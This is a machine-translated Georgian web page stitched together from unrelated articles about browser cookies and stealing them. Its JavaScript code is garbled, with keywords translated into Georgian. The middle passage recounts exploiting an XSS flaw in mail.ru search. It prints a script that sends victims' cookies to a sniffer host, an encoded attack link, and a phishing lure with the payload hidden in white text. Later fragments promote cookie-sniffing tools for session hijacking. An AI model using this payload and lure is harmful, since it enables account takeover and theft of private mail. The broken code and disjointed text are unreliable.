ქუქიების მოპარვის მეთოდები. როგორ ამოიღოთ პაროლი ქუქიიდან რისთვის არიან ისინი?
JavaScript შესაძლებელს ხდის ბრაუზერში ქუქიების დაყენებას და წაკითხვას. ამ გაკვეთილზე ჩვენ განვიხილავთ, თუ როგორ ვიმუშაოთ ქუქი-ფაილებით, ასევე შევქმნით მარტივ გვერდს, რომელიც დაიმახსოვრებს შეყვანილ სახელს და აჩვენებს მას ყოველ ჯერზე, როცა შეხვალთ სისტემაში.
რა არის ქუქიები?ქუქიები არის მცირე რაოდენობის მონაცემები, რომლებიც ინახება ვებ ბრაუზერის მიერ. ისინი საშუალებას გაძლევთ შეინახოთ გარკვეული ინფორმაცია მომხმარებლის შესახებ და მიიღოთ იგი ყოველ ჯერზე, როცა ის თქვენს გვერდს ეწვევა. თითოეულ მომხმარებელს აქვს ქუქიების საკუთარი უნიკალური ნაკრები.
როგორც წესი, ქუქი-ფაილებს ვებ სერვერი იყენებს ისეთი ფუნქციების შესასრულებლად, როგორიცაა საიტის ვიზიტების თვალყურის დევნება, საიტზე რეგისტრაცია და შეკვეთების ან შესყიდვების შესახებ ინფორმაციის შესანახად. თუმცა, ჩვენ არ გვჭირდება ვებ სერვერის პროგრამის გამოგონება ქუქიების გამოსაყენებლად. ჩვენ შეგვიძლია გამოვიყენოთ ისინი JavaScript-ის გამოყენებით.
დოკუმენტი.ქუქის საკუთრება.JavaScript-ში ქუქიების წვდომა ხდება დოკუმენტის ობიექტის ქუქიების თვისების გამოყენებით. თქვენ შეგიძლიათ შექმნათ ქუქიები შემდეგნაირად:
და მიიღეთ ქუქიების მთელი შენახული ნაკრები, როგორიცაა:
Var x = დოკუმენტი.ქუქი;
მოდით შევხედოთ ქუქიების შენახვას და მოძიებას უფრო დეტალურად.
ქუქიების შენახვაქუქი-ფაილის შესანახად, ჩვენ უნდა მივაკუთვნოთ document.cookie ტექსტურ სტრიქონს, რომელიც შეიცავს ქუქი-ფაილის თვისებებს, რომლის შექმნაც გვინდა:
document.cookie = "სახელი = მნიშვნელობა; იწურება = თარიღი; გზა = გზა; დომენი = დომენი; უსაფრთხო";თვისებები აღწერილია ცხრილში:
| სახელი = ღირებულება | ადგენს ქუქიის სახელს და მის მნიშვნელობას. | მომხმარებლის სახელი = ვასია |
| იწურება = თარიღი | ადგენს ქუქიების ვადის გასვლის თარიღს. თარიღი უნდა იყოს იმ ფორმატში, რომელიც დაბრუნებულია Date ობიექტის toGMTString() მეთოდით. თუ ვადა არ არის მითითებული, ქუქი-ფაილი წაიშლება ბრაუზერის დახურვისას. | იწურება= 13/06/2003 00:00:00 |
| გზა = გზა | ეს პარამეტრი ადგენს იმ ბილიკს საიტზე, რომლის ფარგლებშიც მოქმედებს ქუქი. მხოლოდ მითითებული ბილიკიდან დოკუმენტებს შეუძლიათ ქუქი-ფაილის მნიშვნელობის აღდგენა. ჩვეულებრივ, ეს თვისება ცარიელი რჩება, რაც ნიშნავს, რომ მხოლოდ დოკუმენტს, რომელმაც დააყენა ქუქი-ფაილები, შეუძლია მასზე წვდომა. | გზა=/დემო/ |
| დომენი = დომენი | ეს პარამეტრი ადგენს დომენს, რომლის ფარგლებშიც მუშაობს ქუქი. მხოლოდ მითითებული დომენის საიტებს შეუძლიათ მიიღონ ქუქიების მნიშვნელობა. როგორც წესი, ეს თვისება ცარიელი რჩება, რაც ნიშნავს, რომ მხოლოდ დომენს, რომელმაც დააყენა ქუქი-ფაილი, შეუძლია მასზე წვდომა. | დომენი = ვებგვერდი |
| უსაფრთხო | ეს პარამეტრი ეუბნება ბრაუზერს გამოიყენოს SSL სერვერზე ქუქიების გასაგზავნად. ძალიან იშვიათად გამოიყენება. | უსაფრთხო |
ვნახოთ ქუქიების დაყენების მაგალითი:
document.cookie = "username=Vasya; expires=02/15/2011 00:00:00";ეს კოდი ადგენს მომხმარებლის სახელის ქუქი-ფაილს და ანიჭებს მას მნიშვნელობას "Vasya", რომელიც შეინახება 2011 წლის 15 თებერვლამდე (გამოიყენება ევროპული დროის ფორმატი!).
var cookie_date = new Date(2003, 01, 15); document.cookie = "username=Vasya; expires=" + cookie_date.toGMTString();ეს კოდი ზუსტად იგივეს აკეთებს, როგორც წინა მაგალითი, მაგრამ იყენებს Date.toGMTString() მეთოდს თარიღის დასაყენებლად. გთხოვთ გაითვალისწინოთ, რომ თვის ნუმერაცია თარიღის ობიექტში იწყება 0-დან, ანუ თებერვალი არის 01.
Document.cookie = "logged_in=yes";
ეს კოდი აყენებს loged_in cookie-ს და აყენებს მას "დიახ". ვინაიდან ვადის გასვლის ატრიბუტი არ არის დაყენებული, ქუქი-ფაილი წაიშლება ბრაუზერის დახურვისას.
var cookie_date = new Date(); // მიმდინარე თარიღი და დრო cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = "logged_in=; exires=" + cookie_date.toGMTString();ეს კოდი აყენებს loged_in ქუქი-ჩანაწერს და აყენებს შენახვის სტრიქონს მიმდინარე დრომდე ერთი წამით ადრე - ეს ოპერაცია დაუყოვნებლივ წაშლის ქუქი-ჩანაწერს. ქუქიების წაშლის ხელით გზა!
ქუქი-ფაილის მნიშვნელობის გადაკოდირება!ქუქი-ფაილის მნიშვნელობა ხელახლა უნდა იყოს დაშიფრული, რათა სწორად შეინახოს და გამოსახოს სიმბოლოები, როგორიცაა ინტერვალი და ორწერტილი. ეს ოპერაცია უზრუნველყოფს ბრაუზერის მნიშვნელობის სწორად ინტერპრეტაციას. Lego recoding ხორციელდება JavaScript escape() ფუნქციით. Მაგალითად:
document.cookie = "username=" + escape("Vasya Pupkin") + "; expires=02/15/2003 00:00:00"; ქუქიების დაყენების ფუნქციაქუქიების დაყენება გაგიადვილდებათ, თუ დავწერთ სპეციალურ ფუნქციას, რომელიც შეასრულებს მარტივ ოპერაციებს, როგორიცაა მნიშვნელობების გადაკოდირება და დოკუმენტის ქუქი-ფაილის სტრიქონის აგება. Მაგალითად:
ფუნქცია set_cookie (სახელი, მნიშვნელობა, exp_y, exp_m, exp_d, გზა, დომენი, უსაფრთხო) ( var cookie_string = სახელი + "=" + escape (მნიშვნელობა); if (exp_y) ( var expires = ახალი თარიღი (exp_y, exp_m, exp_d ქუქი_სტრიქონი += "; ვადაგასული" + ვადა (დომენი, თუ (უსაფრთხო) ქუქი_სტრიქონი += "; უსაფრთხო";
ფუნქცია იღებს ქუქიების მონაცემებს არგუმენტებად, შემდეგ აყალიბებს შესაბამის სტრიქონს და აყენებს ქუქი-ფაილს.
მაგალითად, ქუქიების დაყენება ვადის გასვლის გარეშე:
set_cookie ("მომხმარებლის სახელი", "ვასია პუპკინი"); set_cookie ("მომხმარებლის სახელი", "ვასია პუპკინი", 2011, 01, 15);ქუქიების დაყენება შენახვის პერიოდით, საიტის დომენით, SSL-ის გამოყენებით, მაგრამ ბილიკის გარეშე:
set_cookie ("მომხმარებლის სახელი", "Vasya Pupkin", 2003, 01, 15, "", "საიტი", "უსაფრთხო"); ქუქიების წაშლის ფუნქცია.ქვემოთ მოცემულია ქუქი-ფაილების მუშაობის კიდევ ერთი სასარგებლო ფუნქცია. ფუნქცია „შლის“ ქუქი-ფაილებს ბრაუზერიდან ვადის გასვლის თარიღის დაყენებით ერთი წამით ადრე, ვიდრე მიმდინარე დროის მნიშვნელობა.
ფუნქცია delete_cookie (ქუქი_სახელი) ( var cookie_date = ახალი თარიღი (); // მიმდინარე თარიღი და დრო cookie_date.setTime (cookie_date.getTime() - 1); document.cookie = ქუქი_სახელი += "=; იწურება = " + cookie_date.toGMTString ();ამ ფუნქციის გამოსაყენებლად, თქვენ მხოლოდ უნდა გადასცეთ მას წასაშლელი ქუქი-ფაილის სახელი:
Delete_cookie ("მომხმარებლის სახელი");
ქუქი-ფაილის მნიშვნელობის მიღებაიმისათვის, რომ მიიღოთ წინასწარ დაყენებული ქუქი-ფაილის მნიშვნელობა მიმდინარე დოკუმენტისთვის, თქვენ უნდა გამოიყენოთ document.cookie თვისება:
Var x = დოკუმენტი.ქუქი;
ეს აბრუნებს სტრიქონს, რომელიც შედგება სახელის/მნიშვნელობის წყვილების სიისგან, რომლებიც გამოყოფილია მძიმით. ყველასქუქიები, რომლებიც მოქმედებს მიმდინარე დოკუმენტისთვის. Მაგალითად:
"username=Vasya; პაროლი=abc123"ამ მაგალითში არის წინასწარ დაყენებული 2 ქუქი: მომხმარებლის სახელი, რომელსაც აქვს მნიშვნელობა „Vasya“ და პაროლი, რომელსაც აქვს მნიშვნელობა „abc123“.
ფუნქცია ქუქიების მნიშვნელობის მისაღებადროგორც წესი, ჩვენ გვჭირდება მხოლოდ ერთი ქუქი-ფაილის მნიშვნელობა ერთდროულად. ამიტომ, ქუქი-ფაილის სტრიქონი არ არის მოსახერხებელი გამოსაყენებლად! აქ არის ფუნქცია, რომელიც ამუშავებს სტრიქონს document.cookies, აბრუნებს მხოლოდ ქუქიებს, რომლებიც საინტერესოა კონკრეტულ მომენტში:
ფუნქცია get_cookie (cookie_name) ( var results = document.cookie.match ("(^|;) ?" + cookie_name + "=([^;]*)(;|$)"); if (შედეგები) დაბრუნდება (unescape (შედეგები));
ეს ფუნქცია იყენებს რეგულარულ გამოხატულებას საინტერესო ქუქი-ფაილის სახელის მოსაძებნად და შემდეგ აბრუნებს მნიშვნელობას, რომელიც მუშავდება unescape() ფუნქციის მიერ, რათა ხელახლა დაშიფროს იგი სიმბოლოების ნორმალურ ფორმაში. (თუ ქუქი ფაილი ვერ მოიძებნა, null ბრუნდება.)
ეს ფუნქცია მარტივი გამოსაყენებელია. მაგალითად, მომხმარებლის სახელის ქუქი-ფაილის მნიშვნელობის დასაბრუნებლად:
Var x = get_cookie ("მომხმარებლის სახელი");
მარტივი გამოყენების მაგალითიამ მაგალითში ჩვენ შევქმენით გვერდი, რომელიც ითხოვს თქვენს სახელს თქვენს პირველ ვიზიტზე, შემდეგ ის ინახავს თქვენს სახელს ქუქიში და აჩვენებს მას შემდგომ ვიზიტებზე.
გახსენით გვერდი ახალ ფანჯარაში. თქვენი პირველი ვიზიტისას ის მოგთხოვთ შეიყვანოთ თქვენი სახელი და შეინახოთ იგი ქუქიში. თუ კვლავ ეწვევით გვერდს, ეკრანზე გამოჩნდება თქვენს მიერ შეყვანილი ქუქი-ფაილის სახელი.
ქუქი-ფაილების შენახვის ვადას ვაყენებთ 1 წელზე მიმდინარე თარიღიდან, ეს ნიშნავს, რომ ბრაუზერი შეინახავს თქვენს სახელს მაშინაც კი, თუ დახურავთ მას.
თქვენ შეგიძლიათ ნახოთ გვერდის კოდი თქვენს ბრაუზერში წყაროს ნახვა ვარიანტის არჩევით. აქ მოცემულია კოდის ძირითადი ნაწილი:
if (! get_cookie ("მომხმარებლის სახელი")) ( var username = მოთხოვნა ("გთხოვთ შეიყვანოთ თქვენი სახელი", ""); if (username) ( var current_date = ახალი თარიღი; var cookie_year = current_date.getFullYear () + 1; var cookie_month = current_date.getMonth( var cookie_day = current_date.getDate("username", username, cookie_year, cookie_month, cookie_day) ) else( var username = get_cookie ("username"); document.write ("Hello); , " + მომხმარებლის სახელი + ", კეთილი იყოს თქვენი მობრძანება გვერდზე!"); document.write("Დამივიწყე!"); }
ამ გაკვეთილმა გაჩვენა, თუ როგორ გამოიყენოთ ქუქიები JavaScript-ში თქვენი ვიზიტორების შესახებ ინფორმაციის შესანახად. Გმადლობთ ყურადღებისთვის! :)
რომელშიც შემოთავაზებული იყო უფასო ღონისძიებაზე დასწრება, რომელიც მიეძღვნა ინფორმაციული უსაფრთხოების საკითხებს. ვინაიდან ღონისძიება ჩემს ქალაქში გაიმართა, გადავწყვიტე, რომ აუცილებლად მჭირდებოდა იქ წასვლა. პირველი გაკვეთილი მიეძღვნა დაუცველობას ვებსაიტებზე, როგორიცაა XSS. გაკვეთილის შემდეგ გადავწყვიტე, რომ მიღებული ცოდნის რეალურ პირობებში კონსოლიდაცია მჭირდებოდა. ავირჩიე რამდენიმე საიტი, რომელიც ჩემს ქალაქს ეხებოდა და დავიწყე ჩემი სცენარის ყველა ფორმაში ჩასმა. უმეტეს შემთხვევაში სკრიპტი გაფილტრული იყო. მაგრამ მოხდა ისე, რომ "გაფრთხილება" გააქტიურდა და ჩემი შეტყობინება გამოჩნდა. აღმოჩენილი დაუცველობა შევატყობინე ადმინისტრატორებს და მათ სწრაფად გამოასწორეს ყველაფერი.
ერთ-ერთ ამ დღეს, mail.ru-ზე უახლესი ფოსტის შემოწმებისას, საფოსტო ყუთში წერილების ძიების ფორმამ მომაქცია თვალი. ხანდახან ვიყენებდი ამ ძიებას, რათა მეპოვა რაღაც რაც მჭირდებოდა ჩემი ძველი წერილების გროვაში. კარგი, რადგან ბოლო ორი დღის განმავლობაში მე ჩავდე ჩემი "გაფრთხილება" თითქმის ყველგან, სადაც შემეძლო, ჩემი ხელი რეფლექსურად მიაღწია ამ საძიებო ფორმას. ავკრიფე ჩემი სკრიპტის კოდი და დავაჭირე Enter. წარმოიდგინეთ ჩემი გაოცება, როცა ეკრანზე მტკივნეულად ნაცნობი შეტყობინება დავინახე...
Open InfoSec Days-ის ლექციაზე მომხსენებელმა თქვა, რომ პროგრამისტები საკმაოდ სკეპტიკურად უყურებენ ამ ტიპის დაუცველობას და ამბობენ: „გაფრთხილება? აბა, მერე რა? ეს არ არის საშიში". თუ სხვა საიტებზე მხოლოდ ამ ფანჯრით დავკმაყოფილდი ჩემი შეტყობინებებით, მაშინ ამ შემთხვევაში გადავწყვიტე უფრო შორს წავსულიყავი და მეჩვენებინა რა შეიძლება გამოვიდეს ასეთი "განგაშისგან".
ასე რომ, სკრიპტი მუშაობს, რაც ნიშნავს, რომ არის დაუცველობა. ამიტომ, შეგიძლიათ სცადოთ სხვა სკრიპტის გაშვება. მაგალითად, სკრიპტი, რომელიც გვიგზავნის სხვა მომხმარებლის ქუქი-ფაილებს. იმისთვის, რომ სკრიპტმა იმუშაოს, ჩვენ უნდა ვაიძულოთ მომხმარებელი შეასრულოს ჩვენი სკრიპტი. ეს შეიძლება გაკეთდეს მისთვის წერილის გაგზავნით შესაბამისი ბმულით, რომელზეც დაწკაპუნების შემდეგ მოხდება საფოსტო ყუთის ძებნა და ჩვენთვის საჭირო კოდი შესრულდება.
გარკვეული დრო და ბევრი ექსპერიმენტი დასჭირდა დაუცველობის მექანიკის გასაგებად. ხან სკრიპტი მუშაობდა, ხან იფილტრებოდა. გარკვეული ძალისხმევის შემდეგ, ემპირიულად დადგინდა, რომ სცენარი მუშაობს 100%-ით მხოლოდ იმ შემთხვევაში, თუ ასოების ძიება დადებით შედეგს იძლევა. ანუ როცა მომხმარებელი ახორციელებს ძიებას ჩვენი სკრიპტით, აუცილებელია მის საფოსტო ყუთში ერთი ასო მაინც მოიძებნოს მოცემული პარამეტრების მიხედვით. ამის მოწყობა არ არის რთული.
ასევე, „გაფრთხილების“ ნაცვლად, ჩვენ გვჭირდება სკრიპტი, რომელიც გადასცემს ქუქი-ფაილებს ჩვენს სნიფერს. ჩვენ დავწერთ ამ სკრიპტს ცალკე ფაილში და ჩავტვირთავთ მას ჩვენს ძიებაში. შევქმენი test.js ფაილი საჭირო კოდით და ავტვირთე ჰოსტინგში. სკრიპტის კოდი ასეთია:
Img=ახალი სურათი();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
ფუნქცია F() (
location="http://www.solife.ru";
}
setTimeout (F, 5000);
რისი გარკვევა მინდა აქ. თავდამსხმელის ადგილზე თავი დავანებოთ. ჩვენ გვჭირდება მომხმარებელმა დააწკაპუნოს ბმულზე. როგორ ვაიძულო მას ამის გაკეთება? თქვენ შეგიძლიათ დაპირდეთ ოქროს მთებს და მათი მისაღებად თქვენ უნდა მიჰყვეთ ჩვენს ბმულს საიტზე. მაგრამ არამგონია იმოქმედოს. ხალხი ამას აღარ სცდება (მე თვითონ გამუდმებით ვშლი ასეთ წერილებს წაკითხვის გარეშეც კი). მაშასადამე, ჩვენ ვითამაშებთ ადამიანურ სიბრალულზე, რადგან ის ჯერ კიდევ არსებობს ბუნებაში. გთხოვთ, ხმა მისცეთ საიტზე გადაშენების პირას მყოფი ცხოველების გადასარჩენად. ჯერ ავიღებთ ქუქი-ფაილებს, შემდეგ კი მომხმარებელს გადამისამართებთ ხმის მიცემის საიტზე. გადამისამართების ვადა დაყენდა 5 წამზე, წინააღმდეგ შემთხვევაში ქუქი-ფაილებს უბრალოდ არ ჰქონდათ დრო სნაიფერზე გადასატანად და მომხმარებელი მაშინვე გადამისამართდა ცხოველების შესახებ საიტზე. "გაფრთხილების" ნაცვლად მე გამოვიყენე შემდეგი სკრიპტი:
სცენარები რომ დავასრულე, წერილის წერა დავიწყე. მე მომივიდა მსგავსი რამ: 
საკმაოდ ცინიკურად გამომივიდა, მაგრამ ვცდილობდი პირობები მაქსიმალურად მიმეახლოებინა რეალობასთან. წერილის ბოლოს არის სტრიქონი სკრიპტით, ეს არის ისე, რომ ჩვენი ასო მოიძებნება, როდესაც ჩვენ გავაკეთებთ ძიებას. ხაზმა რომ ზედმეტი კითხვები არ დაბადოს, თეთრად დავხატე. სიტყვა "http"-შიც დავდე ინტერვალი, რომ სტრიქონი არ იყოს ამოცნობილი და ბმულად გადაქცევა. წინააღმდეგ შემთხვევაში, მიუხედავად იმისა, რომ სკრიპტის ხაზი დაწერილია თეთრი შრიფტით, ბმული ლურჯად იქნება მონიშნული მიმღების მიერ და ჩვენ ეს არ გვჭირდება. გონიერი ძიება მაინც იპოვის და ამოიცნობს ამ სტრიქონს, მიუხედავად ინტერვალისა.
E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E
მე გამოვიყენე URL კოდირება სკრიპტისთვის ისე, რომ არაფერი გაფილტრულიყო. მე ასევე დავამატე პარამეტრი "q_folder=0" საძიებლად, რათა ძიება მოხდეს "Inbox" საქაღალდეში.
წერილი მზადაა, ვაგზავნით. მე გამოვიყენე ჩემი მეორე საფოსტო ყუთი იმავე სერვისზე, როგორც მიმღები. ვნახოთ, რა მოვიდა მეორე ყუთში.
ჩვენი სკრიპტის ტექსტი არ ჩანს, რადგან ის ერწყმის ფონს. მოდით დავაჭიროთ ბმულს და ვნახოთ რა მოხდება. მომხმარებელი გადადის ელ.ფოსტის ძიების შედეგებში ჩვენ მიერ მითითებული პარამეტრის მიხედვით. ჩვენი წერილი, რომელიც გავგზავნეთ, ჩანს ძიების შედეგებში. ამ დროისთვის ჩვენი სკრიპტი უკვე მუშაობდა და მომხმარებლის ქუქი-ფაილები გაუგზავნა სნიფერს. 5 წამის შემდეგ (დრო დამოკიდებულია სკრიპტის პარამეტრებზე), მომხმარებელი გადამისამართებულია ხმის მიცემის საიტზე.
მე ვამოწმებ ჩემს sniff.txt ფაილს:
ვინაიდან ჩემი მიზანი არ არის სხვა ადამიანების ყუთების მოპარვა ან მათზე წვდომა, ამ ამბავს აქ დავასრულებ. მაგრამ თეორიულად, თქვენ შეგიძლიათ შეცვალოთ თქვენი ქუქიები სხვისით და მიიღოთ წვდომა სხვის საფოსტო ყუთზე. ზოგადად, თუ თავდამსხმელი დაინტერესებულია სამიზნით, ის იპოვის გამოყენებას მიღებულ ინფორმაციას.
მინდა მადლობა გადავუხადო სერგეი ბელოვს (
ჩემს მეგობარს დაავიწყდა ერთი საიტის პაროლი. თუმცა, მან ადრე შესვლისას Google Chrome-ის ბრაუზერში მონიშნული იყო „დამახსოვრე“ ჩამრთველი, რამაც მას საშუალება მისცა შესულიყო საიტი თავისი ანგარიშით. მე მივიღე შეკითხვა, შესაძლებელია თუ არა ამ ჯადოსნური მდგომარეობის სხვა კომპიუტერზე გადატანა. უფრო სწორი იქნებოდა, რა თქმა უნდა, პაროლის შეცვლა ან აღდგენა, მაგრამ ჩემმა მეგობარმა ეს ვერ შეძლო საქმესთან დაკავშირებული მიზეზების გამო.
როგორ გამოვიყენოთ intercepter-ng დუმებისთვისმიუხედავად თანამედროვე პროგრამული უზრუნველყოფის მრავალფეროვნებისა, ძნელია იპოვოთ უკეთესი ჰაკერული პროგრამები Android-ისთვის, ვიდრე intercepter ng. პირველი კრიტერიუმი, რომელიც მიუთითებს ამ პროდუქტის სასარგებლოდ, არის მისი რეალური შესრულება. ქსელში შემოთავაზებული სნაიფერების უმეტესობა მხოლოდ იმიტაციაა, რომლებიც არ ასრულებენ მათ მითითებულ ფუნქციებს.
შემდეგი დადებითი ფაქტორები არის აპლიკაციის მრავალფეროვნება და მომხმარებელთა ფართო აუდიტორიის გაშუქება.
კომპიუტერული დახმარება 939-29-71დავიწყოთ თანმიმდევრობით. ქუქი-ფაილები ან „ქუქი-ფაილები“ არის ძალიან მცირე ზომის ტექსტური ფაილები - სანიშნეები ინფორმაციის შემცველობით.
ვებ სერვერი ამ ინფორმაციას გადასცემს მომხმარებლის ბრაუზერს. სადაც ეს ინფორმაცია ინახება საჭიროებამდე. არც ისე ნათელია. კარგად. ჯარიმა.
ვეცდები კიდევ უფრო გამარტივდეს. შეხედე. თქვენ დარეგისტრირდით ნებისმიერ საიტზე.
რეგისტრაციის დროს იქმნება იგივე „ქუქი-ფაილები“.
სწორედ ისინი არიან.
ქუქი კეჯერიპროგრამა უსმენს ტრაფიკს WiFi ქსელში, წყვეტს ქუქი-ფაილებს და იმეორებს მომხმარებლის სესიას თქვენს ბრაუზერში, იმეორებს მოთხოვნებს მისი რწმუნებათა სიგელებით. ავტორმა მეთიუ სალივანმა პროგრამის პრეზენტაცია 30 სექტემბერს Derbycon-ის ჰაკერების კონფერენციაზე გამართა. სწორედ გამოსვლის დროს, მეთიუ სალივანმა ჩაჭრა Google-თან დაუცველი სესია კონფერენციის ერთ-ერთი ვიზიტორის WiFi-ის საშუალებით.
როგორ მოვიპაროთ ქუქიებითუ ვებსაიტის გვერდზე ყოფნისას შეიყვანთ შემდეგ ტექსტს თქვენი Firefox ან Opera ბრაუზერის მისამართის ზოლში: javaсript:document.write(document.cookie); შემდეგ დაინახავთ მსგავსი რამ: remixAdminsBar=0; remixGroupType=0; რემიქსპასი=********************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixaautobookmark=8; remixemail=********; რემიქსმიდი=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 ყურადღება! .
საიტის სკრიპტირების სრული გზამკვლევიXSS არის პროგრამული უზრუნველყოფის დაუცველობის ტიპი, რომელიც შექმნილია ვებ აპლიკაციებისთვის, რომელიც საშუალებას აძლევს თავდამსხმელს შეიყვანოს კლიენტის მხარის სკრიპტი სხვა მომხმარებლების მიერ ნანახი ვებ გვერდებზე, XSS-ს განსაზღვრავს შემდეგნაირად: „განახლებული სკრიპტები (XSS) არის პროგრამული უზრუნველყოფის დაუცველობის ტიპი. ინტერნეტში - აპლიკაციები (ბრაუზერის უსაფრთხოების შეზღუდვების გვერდის ავლით)“, რაც საშუალებას აძლევს თავდამსხმელს, სხვა მომხმარებლების მიერ ნანახი ვებგვერდებში შეიყვანოს კლიენტის სკრიპტი.
განსხვავება ქუქიებსა და სესიებს შორისცოტა ხნის წინ დავწერე სტატია იმის შესახებ, თუ როგორ უნდა დარეგისტრირდეთ და ავტორიზაცია გაუწიოთ მომხმარებლებს ვებსაიტზე.
". ამ სტატიაში მე ვაპირებ განვმარტო განსხვავება სესიებსა და ქუქიებს შორის. რათა საბოლოოდ გააკეთოთ არჩევანი.
ნამცხვრები. არა, ეს სულაც არ ეხება ქუქი-ფაილებს, ეს თქვენს უსაფრთხოებას ეხება. ასე რომ, თქვენ გადადით თქვენს საყვარელ საიტზე "vkontakte" (ან, მაგალითად, შეხედეთ ფოსტას) სხვის კომპიუტერზე, უარს ამბობთ "პაროლის შენახვაზე" ვარიანტზე, სიამოვნებით გადახედეთ ფოსტას და დატოვეთ. და არ იფიქროთ იმაზე, რომ ახლა შეგიძლიათ შეხვიდეთ სოციალურ ქსელში ან ელფოსტაში თქვენი სახელით.
მე არც კი განვიხილავ სიტუაციას პროგრამასთან, რომელიც ახსოვს პაროლი თქვენი ცოდნის გარეშე. ეს უკვე მიზანმიმართული ჰაკია და ალბათ გაგიჩნდება ეჭვი, რომ შეიძლება მსგავსი რამ მოხდეს და ასეთ კომპიუტერზე არ შეხვალ შენს საყვარელ საიტზე. მაგრამ ჩვენ შეგვიძლია ვისაუბროთ უბრალო ადამიანურ ცნობისმოყვარეობაზე - თქვენ სტუმრობდით მეგობრებს და შემდეგ მოულოდნელად მათ ეძლევათ შესაძლებლობა წაიკითხონ თქვენი წერილი. დარწმუნებული ხართ, რომ ისინი უარს იტყვიან ამ შესაძლებლობაზე? არ გეშინია რომ რამე გამოვა? ნებისმიერ შემთხვევაში, მორალის საკითხებს გვერდით გადავდებ და მხოლოდ იმაზე ვისაუბრებ, თუ როგორ ინახება კომპიუტერში ინფორმაცია, რომელიც ახლა შეიძლება შეგეშვათ რომელიმე საიტზე პაროლის მოთხოვნის გარეშე.
როგორ მოვიპაროთ ქუქიდა ამ ტექნოლოგიის სახელია ქუქიები.
და ეს ყველაფერი დაიწყო. http პროტოკოლი, რომლის მეშვეობითაც თქვენ რეალურად ათვალიერებთ საიტებს (მათ შორის ამ), თავდაპირველად არ ითვალისწინებდა კავშირის შენარჩუნების შესაძლებლობას. ანუ, უხეშად რომ ვთქვათ, უგზავნით მოთხოვნას საიტზე, იღებთ პასუხს, გამოდის ეკრანზე და შემდეგ სერვერს არაფერი ახსოვს თქვენს შესახებ. ეს, რა თქმა უნდა, კარგია, როდესაც საიტი არის წმინდა ინფორმაციული და არ უნდა ახსოვდეს შენზე არაფერი, მაგრამ ჩვენ ვცხოვრობთ Web 2.0 ეპოქაში 😉 პროტოკოლის ბუნებრივი განვითარება არის POST და GET მოთხოვნები, როდესაც თქვენ აგზავნით გარკვეულ მონაცემებს, სერვერს შეუძლია დაწეროს ის მონაცემთა ბაზის მონაცემებში, მაგრამ ეს საკმარისი არ არის.
მოდით შევხედოთ ძალიან მარტივ მაგალითს. ფორუმი. ასე რომ დარეგისტრირდი და ფორუმზე არის პოსტი, რომ არის ესეთი მომხმარებელი ამათი პაროლით და სხვა დამატებითი მონაცემებით. მაგრამ ახლა თქვენ შედით ფორუმზე და შედით - შეიყვანეთ თქვენი პაროლი. სადღაც უნდა იყოს ინფორმაცია, რომ შესული ხართ. სერვერზე? Რათქმაუნდა არა! შეუძლებელია სერვერზე ინფორმაციის შენახვა იმის შესახებ, რომ ავტორიზაცია გაკეთდა თქვენი კომპიუტერიდან - ის ვერ გაგასხვავებთ სხვისგან (თქვენი IP მისამართიც კი ცალსახად არ გიცნობთ)! ამრიგად, ინფორმაცია, რომ ავტორიზაცია მოხდა, უნდა იყოს შენახული თქვენს კომპიუტერში. ამისთვის არის ქუქიები, ამისთვის შეიქმნა.
ქუქი არის პატარა ჩანაწერი თქვენს კომპიუტერში, რომელიც ინახავს ინფორმაციას თქვენ მიერ მონახულებული საიტის შესახებ. შესვლისას იქმნება მსგავსი ჩანაწერი, რის შემდეგაც შეგიძლიათ შემოიაროთ ფორუმში და ის გიცნობთ. თუმცა, ეს უკვე ავტომატურად მოხდება - ქუქი-ფაილში შენახული ინფორმაციის წყალობით - ასე რომ, თითქოს ფორუმის მთავარი ადმინისტრატორი ხართ, პაროლის შემოწმების გვერდის ავლით მაინც არ იმუშავებს.
ახლა ჩვენ შეგვიძლია დავუბრუნდეთ იქ, სადაც ეს სტატია დაიწყო. თუ თქვენ შეხვედით სადმე პაროლის შენახვის გარეშე, შეიძლება მოხდეს, რომ კომპიუტერში შეიქმნა ჩანაწერი, რომელიც საშუალებას გაძლევთ შეხვიდეთ ამ რესურსში თქვენი სახელით ავტორიზაციის გარეშე. ასეთი ჩანაწერი თავისთავად მოძველდება გარკვეული პერიოდის შემდეგ, მაგრამ შეგიძლიათ აიძულოთ მისი გასუფთავება. თითოეული ბრაუზერი ამას განსხვავებულად აკეთებს, მე გაჩვენებთ, თუ როგორ შეიძლება ამის გაკეთება ჩემს საყვარელ Google Chrome-ში. პარამეტრების გახსნა
გადადით "გაფართოებული" ჩანართზე და იპოვეთ ღილაკი "ქუქიების ჩვენება".
ახლა, რა თქმა უნდა, შეგიძლიათ წაშალოთ ყველა ქუქი-ფაილი, მაგრამ ამან შეიძლება განაწყენდეს კომპიუტერის მფლობელი. ამიტომ, მაგალითად, ზედა ველში შეგიძლიათ შეიყვანოთ თქვენთვის საინტერესო საიტის სახელი
შემდეგ შეგიძლიათ წაშალოთ მხოლოდ ამ საიტთან დაკავშირებული ქუქიები. შეგიძლია სცადო ჩემზე. თუმცა, თუ შეხვალთ ჩემს ფორუმზე და შემდეგ გაასუფთავებთ ქუქი-ფაილებს, შესვლის ინფორმაცია დაივიწყება. Სცადე!
კომენტარების მიერ
1. რა არის XSS?
XSS დაუცველობა საშუალებას იძლევა თვითნებური Javascript კოდის ჩასმა გვერდის სხეულში. XSS შეტევა განსხვავდება სხვებისგან (მაგალითად, SQL ინექცია ან PHP ინექცია) იმით, რომ ის გავლენას ახდენს კლიენტზე და არა სერვერზე.
მისი დახმარებით თქვენ არ შეგიძლიათ მონაცემთა ბაზის ცხრილების ნახვა, ჭურვის ჩატვირთვა და ა.შ. XSS-ის ყველაზე გავრცელებული გამოყენება არის ქუქიების მოპარვა.
